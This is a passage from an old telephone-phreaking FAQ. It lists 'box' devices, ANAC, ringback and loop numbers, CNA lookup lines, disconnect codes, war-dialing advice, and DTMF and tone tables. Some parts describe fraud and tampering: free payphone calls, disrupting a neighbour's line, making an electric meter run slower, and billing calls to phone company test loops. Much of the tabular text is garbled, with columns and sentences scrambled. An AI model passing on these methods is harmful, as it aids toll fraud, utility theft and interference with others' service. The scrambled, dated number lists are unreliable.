Make free phone calls from pay phones by generating
quarter tones
Rock
Add music to your phone line
Scarlet
Cause a neighbors phone line to have poor reception
Silver
Create the DTMF tones for A, B, C and D
Static
Keep the voltage on a phone line high
Switch
Add hold, indicator lights, conferencing, etc..
Tan
Line activated telephone recorder
Tron
Reverse the phase of power to your house, causing your
electric meter to run slower
TV Cable
"See" sound waves on your TV
Urine
Create a capacitative disturbance between the ring and
tip wires in another's telephone headset
Violet
Keep a payphone from hanging up
White
Portable DTMF keypad
Yellow
Add an extension phone
Box schematics may be retrieved from these FTP sites:
ftp.netcom.com
/pub/br/bradleym
ftp.netcom.com
/pub/va/vandal
ftp.winternet.com
/users/nitehwk
10. What is an ANAC number?
An ANAC (Automatic Number Announcement Circuit) number is a telephone
number that plays back the number of the telephone that called it.
ANAC numbers are convenient if you want to know the telephone number
of a pair of wires.
11. What is the ANAC number for my area?
How to find your ANAC number:
Look up your NPA (Area Code) and try the number listed for it. If that
fails, try 1 plus the number listed for it. If that fails, try the
common numbers like 311, 958 and 200-222-2222. If you find the ANAC
number for your area, please let us know.
Note that many times the ANAC number will vary for different switches
in the same city. The geographic naming on the list is NOT intended
to be an accurate reference for coverage patterns, it is for
convenience only.
Many companies operate 800 number services which will read back to you
the number from which you are calling.
Many of these require navigating
a series of menus to get the phone number you are looking for.
Please
use local ANAC numbers if you can, as overuse or abuse can kill 800 ANAC
numbers.
N (800)425-6256
VRS Billing Systems/Integretel (800)4BLOCKME
(800)568-3197
Info Access Telephone Company's Automated Blocking Line
(800)692-6447
(800)MY-ANI-IS (Now protected by a passcode!)
N (800)858-9857
AT&T True Rewards
A non-800 ANAC that works nationwide is 404-988-9664. The one catch
with this number is that it must be dialed with the AT&T Carrier Access
Code 10732. Use of this number does not appear to be billed.
Note: These geographic areas are for reference purposes only. ANAC
numbers may vary from switch to switch within the same city.
NPA
ANAC number
Approximate Geographic area
---
--------------- ---------------------------------------------
201
958
Hackensack/Jersey City/Newark/Paterson, NJ
202
811
District of Columbia
203
970
CT
205
300-222-2222
Birmingham, AL
205
300-555-5555
Many small towns in AL
205
300-648-1111
Dora, AL
205
300-765-4321
Bessemer, AL
205
300-798-1111
Forestdale, AL
205
300-833-3333
Birmingham
205
557-2311
Birmingham, AL
205
811
Pell City/Cropwell/Lincoln, AL
205
841-1111
Tarrant, AL
205
908-222-2222
Birmingham, AL
206
411
WA (Not US West)
207
958
ME
209
830-2121
Stockton, CA
209
211-9779
Stockton, CA
210
830
Brownsville/Laredo/San Antonio, TX
N 210
951
Brownsville/Laredo/San Antonio, TX (GTE)
212
958
Manhattan, NY
213
114
Los Angeles, CA (GTE)
213
1223
Los Angeles, CA (Some 1AESS switches)
213
211-2345
Los Angeles, CA (English response)
213
211-2346
Los Angeles, CA (DTMF response)
213
760-2???
Los Angeles, CA (DMS switches)
213
61056
Los Angeles, CA
214
570
Dallas, TX
214
790
Dallas, TX (GTE)
214
970-222-2222
Dallas, TX
214
970-611-1111
Dallas, TX (Southwestern Bell)
215
410-xxxx
Philadelphia, PA
215
511
Philadelphia, PA
215
958
Philadelphia, PA
216
200-XXXX
Akron/Canton/Cleveland/Lorain/Youngstown, OH
216
331
Akron/Canton/Cleveland/Lorain/Youngstown, OH
216
959-9892
Akron/Canton/Cleveland/Lorain/Youngstown, OH
217
200-xxx-xxxx
Champaign-Urbana/Springfield, IL
219
550
Gary/Hammond/Michigan City/Southbend, IN
219
559
Gary/Hammond/Michigan City/Southbend, IN
2002006969
Hagerstown/Rockville, MD
301
958-9968
Hagerstown/Rockville, MD
303
958
Aspen/Boulder/Denver/Durango/Grand Junction
N 301
/Steamboat Springs, CO
N 305
200-555-1212
Ft. Lauderdale/Key West/Miami, FL
N 305
200200200200200 Ft. Lauderdale/Key West/Miami, FL
N 305
780-2411
Ft. Lauderdale/Key West/Miami, FL
310
114
Long Beach, CA (On many GTE switches)
310
1223
Long Beach, CA (Some 1AESS switches)
310
211-2345
Long Beach, CA (English response)
310
211-2346
Long Beach, CA (DTMF response)
312
200
Chicago, IL
312
290
Chicago, IL
312
1-200-8825
Chicago, IL (Last four change rapidly)
312
1-200-555-1212
Chicago, IL
313
200-200-2002
Ann Arbor/Dearborn/Detroit, MI
313
200-222-2222
Ann Arbor/Dearborn/Detroit, MI
313
200-xxx-xxxx
Ann Arbor/Dearborn/Detroit, MI
313
200200200200200 Ann Arbor/Dearborn/Detroit, MI
314
410-xxxx#
Columbia/Jefferson City/St.Louis, MO
315
953
Syracuse/Utica, NY
315
958
Syracuse/Utica, NY
315
998
Syracuse/Utica, NY
317
310-222-2222
Indianapolis/Kokomo, IN
317
559-222-2222
Indianapolis/Kokomo, IN
317
743-1218
Indianapolis/Kokomo, IN
334
5572411
Montgomery, AL
334 5572311
Montgomery, AL
401
200-200-4444
RI
401
222-2222
RI
402
311
Lincoln, NE
404
311
Atlanta, GA
780-2311
Atlanta, GA
404
940-xxx-xxxx
Atlanta, GA
404
990
Atlanta, GA
405
890-7777777
Enid/Oklahoma City, OK
405
897
Enid/Oklahoma City, OK
U 407
200-222-2222
Orlando/West Palm Beach, FL (Bell South)
N 407
520-3111
Orlando/West Palm Beach, FL (United)
408
300-xxx-xxxx
San Jose, CA
408
760
San Jose, CA
408
940
San Jose, CA
409
951
Beaumont/Galveston, TX
409
970-xxxx
Beaumont/Galveston, TX
410
200-6969
Annapolis/Baltimore, MD
N 410
200-200-6969
Annapolis/Baltimore, MD
410
200-555-1212
Annapolis/Baltimore, MD
410
811
Annapolis/Baltimore, MD
N 770
412
711-6633
Pittsburgh, PA
412
711-4411
Pittsburgh, PA
412
999-xxxx
Pittsburgh, PA
413
958
Pittsfield/Springfield, MA
413
200-555-5555
Pittsfield/Springfield, MA
414
330-2234
Fond du Lac/Green Bay/Milwaukee/Racine, WI
415
200-555-1212
San Francisco, CA
415
211-2111
San Francisco, CA
415
2222
San Francisco, CA
415
640
San Francisco, CA
415
760-2878
San Francisco, CA
415
7600-2222
San Francisco, CA
419
311
Toledo, OH
N 423
200-200-200
Chatanooga, Johnson City, Knoxville , TN
N 501
511
AR
502
2002222222
Frankfort/Louisville/Paducah/Shelbyville, KY
502
997-555-1212
Frankfort/Louisville/Paducah/Shelbyville, KY
503
611
Portland, OR
503
999
Portland, OR (GTE)
504
99882233
Baton Rouge/New Orleans, LA
504
201-269-1111
Baton Rouge/New Orleans, LA
504
998
Baton Rouge/New Orleans, LA
504
99851-0000000000 Baton Rouge/New Orleans, LA
508
958
Fall River/New Bedford/Worchester, MA
508
200-222-1234
Fall River/New Bedford/Worchester, MA
508
200-222-2222
Fall River/New Bedford/Worchester, MA
508
26011
Fall River/New Bedford/Worchester, MA
509
560
Spokane/Walla Walla/Yakima, WA
510
760-1111
Oakland, CA
512
830
Austin/Corpus Christi, TX
512
970-xxxx
Austin/Corpus Christi, TX
380-55555555
Cincinnati/Dayton, OH
515
5463
Des Moines, IA
515
811
Des Moines, IA
516
958
Hempstead/Long Island, NY
516
968
Hempstead/Long Island, NY
N 513
517
200-222-2222
Bay City/Jackson/Lansing, MI
517
200200200200200 Bay City/Jackson/Lansing, MI
518
511
Albany/Schenectady/Troy, NY
518
997
Albany/Schenectady/Troy, NY
518
998
Albany/Schenectady/Troy, NY
N 540
211
Roanoke, VA (GTE)
N 540
311
Roanoke, VA (GTE)
N 541
200
Bend, OR
603
200-222-2222
NH
606
997-555-1212
Ashland/Winchester, KY
606
711
Ashland/Winchester, KY
607
993
Binghamton/Elmira, NY
609
958
Atlantic City/Camden/Trenton/Vineland, NJ
610
958
Allentown/Reading, PA
610
958-4100
Allentown/Reading, PA
612
511
Minneapolis/St.Paul, MN
614
200
Columbus/Steubenville, OH
614
571
Columbus/Steubenville, OH
615
200200200200200 Chatanooga/Knoxville/Nashville, TN
615
2002222222
Chatanooga/Knoxville/Nashville, TN
615
830
Nashville, TN
616
200-222-2222
Battle Creek/Grand Rapids/Kalamazoo, MI
617
200-222-1234
Boston, MA
617
200-222-2222
Boston, MA
617
200-444-4444
Boston, MA (Woburn, MA)
617
220-2622
Boston, MA
617
958
Boston, MA
618
200-xxx-xxxx
Alton/Cairo/Mt.Vernon, IL
618
930
Alton/Cairo/Mt.Vernon, IL
619
211-2001
San Diego, CA
619
211-2121
San Diego, CA
N 659
220-2622
Newmarket, NH
N 703
211
VA
N 703
511-3636
Culpeper/Orange/Fredericksburg, VA
703
811
Alexandria/Arlington/Roanoke, VA
704
311
Asheville/Charlotte, NC
N 706
940-xxxx
Augusta, GA
707
211-2222
Eureka, CA
708
1-200-555-1212
Chicago/Elgin, IL
708
1-200-8825
Chicago/Elgin, IL (Last four change rapidly)
708
200-6153
Chicago/Elgin, IL
708
724-9951
Chicago/Elgin, IL
713
380
Houston, TX
713
970-xxxx
Houston, TX
713
811
Humble, TX
380-5555-5555
Houston, TX
714
114
Anaheim, CA (GTE)
714
211-2121
Anaheim, CA (PacBell)
714
211-2222
Anaheim, CA (Pacbell)
N 714
211-7777
Anaheim, CA (Pacbell)
716
511
Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716
990
Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717
958
Harrisburg/Scranton/Wilkes-Barre, PA
718
958
Bronx/Brooklyn/Queens/Staten Island, NY
N 770
940-xxx-xxxx
Marietta/Norcross, GA
N 770
780-2311
Marietta/Norcross, GA
802
2-222-222-2222
Vermont
802
200-222-2222
Vermont
802
1-700-222-2222
Vermont
802
111-2222
Vermont
N 713
N 804 990
Virginia Beach, VA
805
114
Bakersfield/Santa Barbara, CA
805
211-2345
Bakersfield/Santa Barbara, CA
805
211-2346
Bakersfield/Santa Barbara, CA (Returns DTMF)
805
830
Bakersfield/Santa Barbara, CA
806
970-xxxx
Amarillo/Lubbock, TX
810
200200200200200 Flint/Pontiac/Southfield/Troy, MI
N 810
311
Pontiac/Southfield/Troy, MI
812
410-555-1212
Evansville, IN
813
311
Ft. Meyers/St. Petersburg/Tampa, FL
N 815
200-3374
Crystal Lake, IL
N 815
270-3374
Crystal Lake, IL
N 815
770-3374
Crystal Lake, IL
815
200-xxx-xxxx
La Salle/Rockford, IL
815
290
La Salle/Rockford, IL
817
211
Ft. Worth/Waco, TX
817
970-611-1111
Ft. Worth/Waco, TX (Southwestern Bell)
818
1223
Pasadena, CA (Some 1AESS switches)
818
211-2345
Pasadena, CA (English response)
818
211-2346
Pasadena, CA (DTMF response)
970
CT
903
970-611-1111
Tyler, TX
904
200-222-222
Jackonsville/Pensacola/Tallahasee, FL
906
1-200-222-2222
Marquette/Sault Ste. Marie, MI
907
811
AK
908
958
New Brunswick, NJ
N 909
111
Riverside/San Bernardino, CA (GTE)
910
200
Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910
311
Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910
988
Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914
990-1111
Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915
970-xxxx
Abilene/El Paso, TX
N 916
211-0007
Sacramento, CA (Pac Bell)
916
461
Sacramento, CA (Roseville Telephone)
919
200
Durham, NC
919
711
Durham, NC
N 954
200-555-1212
Ft. Lauderdale, FL
N 954
200200200200200 Ft. Lauderdale, FL
N 954
780-2411
N 860
Ft. Lauderdale, FL
Canada:
204
644-4444
Manitoba
306
115
Saskatchewan
403
311
Alberta, Yukon and N.W. Territory
403
908-222-2222
Alberta, Yukon and N.W. Territory
403
999
Alberta, Yukon and N.W. Territory
416
997-xxxx
Toronto, Ontario
506
1-555-1313
New Brunswick
514
320-xxxx
Montreal, Quebec
U 514
320-1232
Montreal, Quebec
U 514
320-1223
Montreal, Quebec
U 514
320-1233
Montreal, Quebec
519
320-xxxx
London, Ontario
604
1116
British Columbia
604
1211
British Columbia
604
211
British Columbia
613
320-2232
Ottawa, Ontario
705
320-4567
North Bay/Saulte Ste. Marie, Ontario
N 819
320-1112
Quebec
Australia:
+61
03-552-4111
+612 19123
Victoria 03 area
All major capital cities
+612 11544
United Kingdom:
175
Israel:
110
12. What is a ringback number?
A ringback number is a number that you call that will immediately
ring the telephone from which it was called.
In most instances you must call the ringback number, quickly hang up
the phone for just a short moment and then let up on the switch, you
will then go back off hook and hear a different tone. You may then
hang up. You will be called back seconds later.
13. What is the ringback number for my area?
An 'x' means insert those numbers from the phone number from which you
are calling.
A '?' means that the number varies from switch to switch
in the area, or changes from time to time. Try all possible
combinations.
If the ringback for your NPA is not listed, try common ones such as 114,
951-xxx-xxxx, 954, 957 and 958. Also, try using the numbers listed for
other NPA's served by your telephone company.
Note: These geographic areas are for reference purposes only. Ringback
numbers may vary from switch to switch within the same city.
NPA
Ringback number Approximate Geographic area
---
--------------- ---------------------------------------------
201
55?-xxxx
Hackensack/Jersey City/Newark/Paterson, NJ
202
958-xxxx
District of Columbia
203
99?-xxxx
CT
206
571-xxxx
WA
N 208
59X-xxxx
ID
99xxx-xxxx
ID
211-8849-xxxx
Brownsville/Laredo/San Antonio, TX (GTE)
1-95x-xxxx
Los Angeles, CA
N 214
971-xxxx
Dallas, TX
215
811-xxxx
Philadelphia, PA
216
551-xxxx
Akron/Canton/Cleveland/Lorain/Youngstown, OH
219
571-xxx-xxxx
Gary/Hammond/Michigan City/Southbend, IN
219
777-xxx-xxxx
Gary/Hammond/Michigan City/Southbend, IN
301
579-xxxx
Hagerstown/Rockville, MD
301
958-xxxx
Hagerstown/Rockville, MD
303
99X-xxxx
Grand Junction, CO
304
998-xxxx
WV
305
999-xxxx
Ft. Lauderdale/Key West/Miami, FL
312
511-xxxx
Chicago, IL
208
N 210
213
312
511-xxx-xxxx
Chicago, IL
312
57?-xxxx
Chicago, IL
315
98x-xxxx
Syracuse/Utica, NY
317
777-xxxx
Indianapolis/Kokomo, IN
317
yyy-xxxx
Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319
79x-xxxx
Davenport/Dubuque, Iowa
334
901-xxxx
Montgomery, AL
401
98?-xxxx
RI
404
450-xxxx
Atlanta, GA
407
988-xxxx
Orlando/West Palm Beach, FL
408
470-xxxx
San Jose, CA
408
580-xxxx
San Jose, CA
412
985-xxxx
Pittsburgh, PA
414
977-xxxx
Fond du Lac/Green Bay/Milwaukee/Racine, WI
414
978-xxxx
Fond du Lac/Green Bay/Milwaukee/Racine, WI
415
350-xxxx
San Francisco, CA
417
551-xxxx
Joplin/Springfield, MO
501
221-xxx-xxxx
AR
501
721-xxx-xxxx
AR
502
988
Frankfort/Louisville/Paducah/Shelbyville, KY
503
541-XXXX
OR
504
99x-xxxx
Baton Rouge/New Orleans, LA
504
9988776655
Baton Rouge/New Orleans, LA
505
59?-xxxx
New Mexico
512
95X-xxxx
Austin, TX
513
951-xxxx
Cincinnati/Dayton, OH
513
955-xxxx
Cincinnati/Dayton, OH
513
99?-xxxx
Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
N 515
559-XXXX
Des Moines, IA
516
660-xxx-xxxx
Hempstead/Long Island, NY
601
777-xxxx
MS
609
55?-xxxx
Atlantic City/Camden/Trenton/Vineland, NJ
610
811-xxxx
Allentown/Reading, PA
612
511
Minneapolis/St.Paul, MN
612
999-xxx-xxxx
Minneapolis/St.Paul, MN
N 613
999-xxx-xxxx
Ottawa, Ontario
614
998-xxxx
Columbus/Steubenville, OH
615
920-XXXX
Chatanooga/Knoxville/Nashville, TN
615
930-xxxx
Chatanooga/Knoxville/Nashville, TN
616
946-xxxx
Battle Creek/Grand Rapids/Kalamazoo, MI
619
331-xxxx
San Diego, CA
619
332-xxxx
San Diego, CA
N 659
981-XXXX
Newmarket, NH
N 703
511-xxx-xxxx
VA
703
958-xxxx
Alexandria/Arlington/Roanoke, VA
708
511-xxxx
Chicago/Elgin, IL
N 713
231-xxxx
Los Angeles, CA
714
330?
Anaheim, CA (GTE)
714
33?-xxxx
Anaheim, CA (PacBell)
716
981-xxxx
Rochester, NY (Rochester Tel)
718
660-xxxx
Bronx/Brooklyn/Queens/Staten Island, NY
719
99x-xxxx
Colorado Springs/Leadville/Pueblo, CO
801
938-xxxx
Utah
801
939-xxxx
Utah
802
987-xxxx
Vermont
804
260
Charlottesville/Newport News/Norfolk/Richmond, VA
805
114
Bakersfield/Santa Barbara, CA
805
980-xxxx
Bakersfield/Santa Barbara, CA
810
951-xxx-xxxx
Pontiac/Southfield/Troy, MI
813
711
Ft. Meyers/St. Petersburg/Tampa, FL
817
971
Ft. Worth/Waco, TX (Flashhook, then 2#)
906
951-xxx-xxxx
Marquette/Sault Ste. Marie, MI
908
55?-xxxx
New Brunswick, NJ
908
953
New Brunswick, NJ
913
951-xxxx
Lawrence/Salina/Topeka, KS
914
660-xxxx-xxxx
Peekskill/Poughkeepsie/White Plains/Yonkers, NY
Canada:
204
590-xxx-xxxx
Manitoba
416
57x-xxxx
Toronto, Ontario
416
99x-xxxx
Toronto, Ontario
416
999-xxx-xxxx
Toronto, Ontario
506
572+xxx-xxxx
New Brunswick
514
320-xxx-xxxx
Montreal, Quebec
519
999-xxx-xxxx
London, Ontario
N 604
311-xxx-xxxx
British Columbia
613
999-xxx-xxxx
Ottawa, Ontario
705
999-xxx-xxxx
North Bay/Saulte Ste. Marie, Ontario
N 819
320-xxx-xxxx
Quebec
N 905
999-xxx-xxxx
Hamilton/Mississauga/Niagra Falls, Ontario
Australia:
+61 199
Brazil:
109 or 199
N France:
3644
Holland:
99-xxxxxx
New Zealand:
137
Sweden:
0058
United Kingdom:
174 or 1744 or 175 or 0500-89-0011
N Amsterdam
0196
N Hilversum
0123456789
N Breukelen
0123456789
N Groningen
951
14. What is a loop?
This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998
and 836-9999. They are used by the phone company for testing.
good do loops do us? Well, they are cool in a few ways.
What
Here is a
simple use of loops. Each loop has two ends, a 'high' end, and a
'low' end. One end gives a (usually) constant, loud tone when it is
called. The other end is silent. Loops don't usually ring either.
When BOTH ends are called, the people that called each end can talk
through the loop. Some loops are voice filtered and won't pass
anything but a constant tone; these aren't much use to you. Here's
what you can use working loops for: billing phone calls! First, call
the end that gives the loud tone. Then if the operator or someone
calls the other end, the tone will go quiet. Act like the phone just
rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
what the fuck ever. The operator thinks that she just called you, and
that's it! Now the phone bill will go to the loop, and your local
RBOC will get the bill!
may go down.
Use this technique in moderation, or the loop
Loops are probably most useful when you want to talk to
someone to whom you don't want to give your phone number.
15. What is a loop in my area?
Many of these loops are no longer functional.
If you are local
to any of these loops, please try them out an e-mail me the results
of your research.
NPA
High
Low
---
-------- --------
201
666-9929 666-9930
208
862-9996 862-9997
209
732-0044 732-0045
201
666-9929 666-9930
213
360-1118 360-1119
213
365-1118 365-1119
213
455-0002 455-XXXX
213
455-0002 455-xxxx
213
546-0002 546-XXXX
213
546-0002 546-xxxx
213
549-1118 549-1119
305
964-9951 964-9952
307
468-9999 468-9998
308
357-0004 357-0005
312
262-9902 262-9903
313
224-9996 224-9997
313
225-9996 225-9997
313
234-9996 234-9997
313
237-9996 237-9997
313
256-9996 256-9997
313
272-9996 272-9997
313
273-9996 273-9997
313
277-9996 277-9997
313
281-9996 281-9997
313
292-9996 292-9997
313
299-9996 299-9997
313
321-9996 321-9997
313
326-9996 326-9997
313
356-9996 356-9997
313
362-9996 362-9997
313
369-9996 369-9997
313
388-9996 388-9997
313
397-9996 397-9997
313
399-9996 399-9997
313
445-9996 445-9997
313
465-9996 465-9997
313
471-9996 471-9997
313
474-9996 474-9997
313
477-9996 477-9997
313
478-9996 478-9997
313
483-9996 483-9997
313
497-9996 497-9997
313
526-9996 526-9997
313
552-9996 552-9997
313
556-9996 556-9997
313
561-9996 561-9997
313
569-9996 569-9996
313
575-9996 575-9997
313
577-9996 577-9997
313
585-9996 585-9997
313
591-9996 591-9997
313
621-9996 621-9997
313
626-9996 626-9997
313
644-9996 644-9997
313
646-9996 646-9997
313
647-9996 647-9997
313
649-9996 649-9997
313
663-9996 663-9997
313
665-9996 665-9997
313
683-9996 683-9997
313
721-9996 721-9997
313
722-9996 722-9997
313
728-9996 728-9997
313
731-9996 731-9997
313
751-9996 751-9997
313
776-9996 776-9997
313
781-9996 781-9997
313
787-9996 787-9997
313
822-9996 822-9997
313
833-9996 833-9997
313
851-9996 851-9997
313
871-9996 871-9997
313
875-9996 875-9997
313
886-9996 886-9997
313
888-9996 888-9997
313
898-9996 898-9997
313
934-9996 934-9997
313
942-9996 942-9997
313
963-9996 963-9997
313
977-9996 977-9997
315
673-9995 673-9996
315
695-9995 695-9996
402
422-0001 422-0002
402
422-0003 422-0004
402
422-0005 422-0006
402
422-0007 422-0008
402
572-0003 572-0004
402
779-0004 779-0007
406
225-9902 225-9903
N 408
238-0044 238-0045
N 408
272-0044 272-0045
N 408
729-0044 729-0045
N 408
773-0044 773-0045
N 408
926-0044 926-0045
517
422-9996 422-9997
517
423-9996 423-9997
517
455-9996 455-9997
517
563-9996 563-9997
517
663-9996 663-9997
517
851-9996 851-9997
609
921-9929 921-9930
609
994-9929 994-9930
613
966-1111
616
997-9996 997-9997
708
724-9951 724-????
713
224-1499 759-1799
713
324-1499 324-1799
713
342-1499 342-1799
713
351-1499 351-1799
713
354-1499 354-1799
713
356-1499 356-1799
713
442-1499 442-1799
713
447-1499 447-1799
713
455-1499 455-1799
713
458-1499 458-1799
713
462-1499 462-1799
713
466-1499 466-1799
713
468-1499 468-1799
713
469-1499 469-1799
713
471-1499 471-1799
713
481-1499 481-1799
713
482-1499 482-1799
713
484-1499 484-1799
713
487-1499 487-1799
713
489-1499 489-1799
713
492-1499 492-1799
713
493-1499 493-1799
713
524-1499 524-1799
713
526-1499 526-1799
713
555-1499 555-1799
713
661-1499 661-1799
713
664-1499 664-1799
713
665-1499 665-1799
713
666-1499 666-1799
713
667-1499 667-1799
713
682-1499 976-1799
713
771-1499 771-1799
713
780-1499 780-1799
713
781-1499 997-1799
713
960-1499 960-1799
713
977-1499 977-1799
713
988-1499 988-1799
N 719
598-0009 598-0010
805
528-0044 528-0045
805
544-0044 544-0045
805
773-0044 773-0045
808
235-9907 235-9908
808
239-9907 239-9908
808
245-9907 245-9908
808
247-9907 247-9908
808
261-9907 261-9908
808
322-9907 322-9908
808
328-9907 328-9908
808
329-9907 329-9908
808
332-9907 332-9908
808
335-9907 335-9908
808
572-9907 572-9908
808
623-9907 623-9908
808
624-9907 624-9908
808
668-9907 668-9908
808
742-9907 742-9908
808
879-9907 879-9908
808
882-9907 882-9908
808
885-9907 885-9908
808
959-9907 959-9908
808
961-9907 961-9908
810
362-9996 362-9997
813
385-9971 385-xxxx
908
254-9929 254-9930
908
558-9929 558-9930
908
560-9929 560-9930
908
776-9930 776-9930
16. What is a CNA number?
CNA stands for Customer Name and Address. The CNA number is a phone
number for telephone company personnel to call and get the name and
address for a phone number.
If a telephone lineman finds a phone line
he does not recognize, he can use the ANI number to find its phone
number and then call the CNA operator to see who owns it and where
they live.
Normal CNA numbers are available only to telephone company personnel.
Private citizens may legally get CNA information from private
companies. Two such companies are:
Unidirectory
(900)933-3330
Telename
(900)884-1212
Note that these are 900 numbers, and will cost you approximately one
dollar per minute.
If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
available to the general public. The number is 796-9600. The cost is
$.35/call and can look up two numbers per call.
If you are in 415, Pacific Bell offers a public access CNL service at
(415)705-9299.
If you are in Bell Atlantic territory you can call (201)555-5454 or
(908)555-5454 for automated CNA information. The cost is $.50/call.
17. What is the telephone company CNA number for my area?
203
(203)771-8080
CT
312
(312)796-9600
Chicago, IL
506
(506)555-1313
New Brunswick
513
(513)397-9110
Cincinnati/Dayton, OH
516
(516)321-5700
Hempstead/Long Island, NY
614
(614)464-0123
Columbus/Steubenville, OH
813
(813)270-8711
Ft. Meyers/St. Petersburg/Tampa, FL
NYNEX
(518)471-8111
New York, Connecticut, Vermont, Rhode
Island, New Hampshire, and Massachusetts
18. What are some numbers that always ring busy?
In the following listings, "xxx" means that the same number is used as a
constantly busy number in many different prefixes. In most of these,
there are some exchanges that ring busy and some exchanges that are in
normal use. *ALWAYS* test these numbers at least three times during
normal business hours before using as a constantly busy number.
N 800
999-1803
WATS
N 201
635-9970
Hackensack/Jersey City/Newark/Paterson, NJ
N 212
724-9970
Manhattan, NY
N 213
xxx-1117
Los Angeles, CA
N 213
xxx-1118
Los Angeles, CA
N 213
xxx-1119
Los Angeles, CA
N 213
xxx-9198
Los Angeles, CA
216
xxx-9887
Akron/Canton/Cleveland/Lorain/Youngstown, OH
303
431-0000
Denver, CO
303
866-8660
Denver, CO
N 310
xxx-1117
Long Beach, CA
N 310
xxx-1118
Long Beach, CA
N 310
xxx-1119
Long Beach, CA
N 310
xxx-9198
Long Beach, CA
316
952-7265
Dodge City/Wichita, KS
501
377-99xx
AR
U 719
472-3772
Colorado Springs/Leadville/Pueblo, CO
805
255-0699
Bakersfield/Santa Barbara, CA
N 714
xxx-1117
Anaheim, CA
N 714
xxx-1118
Anaheim, CA
N 714
xxx-1119
Anaheim, CA
N 714
xxx-9198
Anaheim, CA
N 717
292-0009
Harrisburg/Scranton/Wilkes-Barre, PA
N 818
xxx-1117
Pasadena, CA
N 818
xxx-1118
Pasadena, CA
N 818
xxx-1119
Pasadena, CA
N 818
xxx-9198
Pasadena, CA
U 818
885-0699
Pasadena, CA (???-0699 is a pattern)
N 860
525-7078
Hartford, CT
906
632-9999
Marquette/Sault Ste. Marie, MI
906
635-9999
Marquette/Sault Ste. Marie, MI
19. What are some numbers that temporarily disconnect phone service?
If your NPA is not listed, or the listing does not cover your LATA,
try common numbers such as 119 (GTD5 switches) or 511.
314
511
Columbia/Jefferson City/St.Louis, MO
(1 minute)
404
420
Atlanta, GA
(5 minutes)
405
953
Enid/Oklahoma City, OK
(1 minute)
U 407
511
Orlando, FL (United Telephone)
(1 minute)
N 414 958-0013
512
200
Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 minute)
Austin/Corpus Christi, TX
(1 minute)
516
480
Hempstead/Long Island, NY
603
980
NH
614
xxx-9894
Columbus/Steubenville, OH
805
119
Bakersfield/Santa Barbara, CA
919
211 or 511 Durham, NC
(1 minute)
(3 minutes)
(10 min - 1 hour)
20. What is a Proctor Test Set?
A Proctor Test Set is a tool used by telco personnel to diagnose
problems with phone lines. You call the Proctor Test Set number and
press buttons on a touch tone phone to active the tests you select.
21. What is a Proctor Test Set in my area?
If your NPA is not listed try common numbers such as 111 or 117.
805
111
Bakersfield/Santa Barbara, CA
909
117
Tyler, TX
913
611-1111
Lawrence/Salina/Topeka, KS
22. What is scanning?
Scanning is dialing a large number of telephone numbers in the hope
of finding interesting carriers (computers) or tones.
Scanning can be done by hand, although dialing several thousand
telephone numbers by hand is extremely boring and takes a long time.
Much better is to use a scanning program, sometimes called a war
dialer or a demon dialer.
Currently, the best war dialer available to
PC-DOS users is ToneLoc from Minor Threat and Mucho Maas. ToneLoc can
be ftp'd from ftp.paranoia.com /pub/toneloc/.
A war dialer will dial a range of numbers and log what it finds at
each number.
You can then only dial up the numbers that the war
dialer marked as carriers or tones.
23. Is scanning illegal?
Excerpt from: 2600, Spring 1990, Page 27:
-BQIn some places, scanning has been made illegal.
It would be hard,
though, for someone to file a complaint against you for scanning since
the whole purpose is to call every number once and only once. It's
not likely to be thought of as harassment by anyone who gets a single
phone call from a scanning computer.
Some central offices have been
known to react strangely when people start scanning. Sometimes you're
unable to get a dialtone for hours after you start scanning.
there is no uniform policy.
But
The best thing to do is to first find out
if you've got some crazy law saying you can't do it. If, as is
likely, there is no such law, the only way to find out what happens is
to give it a try.
-EQIt should be noted that a law making scanning illegal was recently
passed in Colorado Springs, CO. It is now illegal to place a call
in Colorado Springs without the intent to communicate.
24. Where can I purchase a lineman's handset?
Contact East
335 Willow Street
North Andover, MA 01845-5995
(508)682-2000
Jensen Tools
7815 S. 46th Street
Phoenix, AZ 85044-5399
(800)426-1194
Specialized Products
3131 Premier Drive
Irving, TX 75063
(800)866-5353
Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619)679-0303
25. What are the DTMF frequencies?
DTMF stands for Dual Tone Multi Frequency. These are the tones you get
when you press a key on your telephone touch pad.
The tone of the
button is the sum of the column and row tones. The ABCD keys do not
exist on standard telephones.
1209 1336 1477 1633
697
1
2
3
A
770
4
5
6
B
852
7
8
9
C
941
*
0
#
D
26. What are the frequencies of the telephone tones?
Type
Hz
On
Off
--------------------------------------------------------------------Dial Tone
350 & 440
---
---
Busy Signal
480 & 620
0.5
0.5
Toll Congestion
480 & 620
0.2
0.3
Ringback (Normal) 440 & 480
2.0
4.0
Ringback (PBX)
440 & 480
1.5
4.5
Reorder (Local)
480 & 620
3.0
2.0
Invalid Number
200 & 400
Hang Up Warning 1400 & 2060
0.1
0.1
Hang Up
---
---
2450 & 2600
27. What are all of the * (LASS) codes?
Local Area Signalling Services (LASS) and Custom Calling Feature
Control Codes:
(These appear to be standard, but may be changed locally)
Service
Tone
Pulse/rotary
Notes
-------------------------------------------------------------------------Assistance/Police
*12
n/a
[1]
Cancel forwarding
*30
n/a
[C1]
Automatic Forwarding
*31
n/a
[C1]
Notify
*32
n/a
[C1] [2]
Intercom Ring 1 (..)
*51
1151
[3]
Intercom Ring 2 (.._)
*52
1152
[3]
Intercom Ring 3 (._.)
*53
1153
[3]
Extension Hold
*54
1154
[3]
Customer Originated Trace
*57
1157
Selective Call Rejection
*60
1160
Selective Distinct Alert
*61
1161
Selective Call Acceptance
*62
1162
Selective Call Forwarding
*63
1163
ICLID Activation
*65
1165
Call Return (outgoing)
*66
1166
(or Call Screen)
Number Display Blocking
*67
1167
Computer Access Restriction *68
1168
Call Return (incoming)
*69
1169
